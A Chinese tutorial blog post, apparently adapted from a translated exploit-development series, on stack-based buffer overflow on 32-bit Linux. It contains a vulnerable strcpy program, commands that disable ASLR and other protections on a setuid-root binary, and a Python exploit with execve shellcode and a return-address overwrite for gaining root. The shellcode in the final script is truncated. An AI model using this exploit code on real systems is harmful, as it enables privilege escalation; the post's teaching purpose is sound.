Linux Exploit系列之一 典型的基于堆栈的缓冲区溢出
Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)
Note:本文大部分来自于看雪hackyzh的中文翻译,加入了一些自己的理解
典型的基于堆栈的缓冲区溢出
虚拟机安装:Ubuntu 12.04(x86)
这个帖子是最简单的漏洞开发教程系列,在互联网上你可以找到很多关于它的文章。尽管它丰富和熟悉,我更喜欢自己写博客文章,因为它将作为我未来许多职位的先决条件!
什么是缓冲区溢出?
将源缓冲区复制到目标缓冲区可能导致溢出
1、源字符串长度大于目标字符串长度。
2、不进行大小检查。
缓冲区溢出有两种类型:
1、基于堆栈的缓冲区溢出 - 这里的目标缓冲区位于堆栈中
2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中
在这篇文章中,我将只讨论基于堆栈的缓冲区溢出。堆溢出将在Linux(x86)漏洞开发教程系列的 “3级”中讨论!
缓冲区溢出错误导致任意代码执行!
什么是任意代码执行?
任意代码执行允许攻击者执行他的代码以获得对受害机器的控制。受害机器的控制是通过多种方式实现的,例如产生根shell,添加新用户,打开网口等...
听起来很有趣,足够的定义让我们看看缓冲区溢出攻击的代码!
漏洞代码
1 //vuln.c 2 #include <stdio.h> 3 #include <string.h> 4 int main(int argc, char* argv[]) { 5 /* [1] */ char buf[256]; 6 /* [2] */ strcpy(buf,argv[1]); 7 /* [3] */ printf("Input:%s\n",buf); 8 return 0; 9 }
编译代码
#echo 0 > /proc/sys/kernel/randomize_va_space $gcc -g -fno-stack-protector -z execstack -o vuln vuln.c $sudo chown root vuln $sudo chgrp root vuln $sudo chmod +s vuln
上述漏洞代码的[2]行显示了缓冲区溢出错误。这个bug可能导致任意代码执行,因为源缓冲区内容是用户输入的!
如何执行任意代码执行?
使用称为“ 返回地址覆盖 ”的技术实现任意代码执行。这种技术有助于攻击者覆盖位于堆栈中的“返回地址”,并且这种覆盖将导致任意代码执行。
在研究漏洞代码之前,为了更好的理解,让我们反汇编并且绘制出漏洞代码的堆栈布局。
反汇编
1 (gdb) disassemble main 2 Dump of assembler code for function main: 3 //Function Prologue 4 0x08048414 <+0>:push %ebp //backup caller's ebp 5 0x08048415 <+1>:mov %esp,%ebp //set callee's ebp to esp 6 0x08048417 <+3>:and $0xfffffff0,%esp //栈对齐 7 0x0804841a <+6>:sub $0x110,%esp //stack space for local variables 8 0x08048420 <+12>:mov 0xc(%ebp),%eax //eax = argv 9 0x08048423 <+15>:add $0x4,%eax //eax = &argv[1] 10 0x08048426 <+18>:mov (%eax),%eax //eax = argv[1] 11 0x08048428 <+20>:mov %eax,0x4(%esp) //strcpy arg2 12 0x0804842c <+24>:lea 0x10(%esp),%eax //eax = 'buf' 13 0x08048430 <+28>:mov %eax,(%esp) //strcpy arg1 14 0x08048433 <+31>:call 0x8048330 <strcpy@plt> //call strcpy 15 0x08048438 <+36>:mov $0x8048530,%eax //eax = format str "Input:%s\n" 16 0x0804843d <+41>:lea 0x10(%esp),%edx //edx = buf 17 0x08048441 <+45>:mov %edx,0x4(%esp) //printf arg2 18 0x08048445 <+49>:mov %eax,(%esp) //printf arg1 19 0x08048448 <+52>:call 0x8048320 <printf@plt> //call printf 20 0x0804844d <+57>:mov $0x0,%eax //return value 0 21 //Function Epilogue 22 0x08048452 <+62>:leave //mov ebp, esp; pop ebp; 23 0x08048453 <+63>:ret //return 24 End of assembler dump. 25 (gdb)
原文地址:https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/
这个地方需要特殊说明一下,原作者使用的是Ubuntu 12.04 LTS 32位版本的系统,GCC的版本未知,反汇编的代码是这样的,我使用Ubuntu 14.04 32位系统,GCC版本4.8.2,disassemble后的代码不是这样,但是功能是一样的,所以不做更多解释,大家按照原作者和hackyzh的翻译来读是没有什么问题的
翻译的文章是https://bbs.pediy.com/thread-216868.htm
好烦,不想粘贴过来,大家看原文的,我就写下我自己的有些地方的理解,和原文会给大家造成的误解进行解释。
攻击代码原来是这样的:
1 #exp.py 2 #!/usr/bin/env python 3 import struct 4 from subprocess import call 5 #Stack address where shellcode is copied. 6 ret_addr = 0xbffff1d0 7 8 #Spawn a shell 9 #execve(/bin/sh) 10 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" 11 #endianess convertion 12 def conv(num): 13 return struct.pack("<I",numnk + RA + NOP's + Shellcode 14 buf = "A" * 268 15 buf += conv(ret_addr) 16 buf += "\x90" * 100 17 buf += scode 18 print "Calling vulnerable program" 19 call(["./vuln", buf])
第13行的return struct.pack("<I",numnk + RA + NOP's + Shellcode 很明显是不对的,这里原文作者是大神,都懒得解释,直接抛个错误让我们自己玩,hackyzh也是大神,也懒得解释。
这里是返回二进制的意思,正确的写法应该是:
return struct.pack("<I",num) #nk + RA + NOP's + Shellcode
还有一个地方是返回地址的地方,这个地方大神们也懒得解释了,看雪论坛也有人在猜这个地方,我觉得可以这样解释。
在我的机器上buf的地址(所谓的&buf)是0xbffff340,这样ret_addr=0xbffff340+0x10c+0x4+0x64=0xbffff654。
之后就可以成功获得root权限。
最后附上我的exp.py文件
#exp.py #!/usr/bin/env python import struct from subprocess import call #Stack address where shellcode is copied. ret_addr = 0xbffff654 #Spawn a shell #execve(/bin/sh) scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$ #endianess convertion def conv(num): return struct.pack("<I",num)#nk + RA + NOP's + Shellcode buf = "A" * 268 buf += conv(ret_addr) buf += "\x90" * 100 buf += scode print "Calling vulnerable program" call(["./vuln", buf])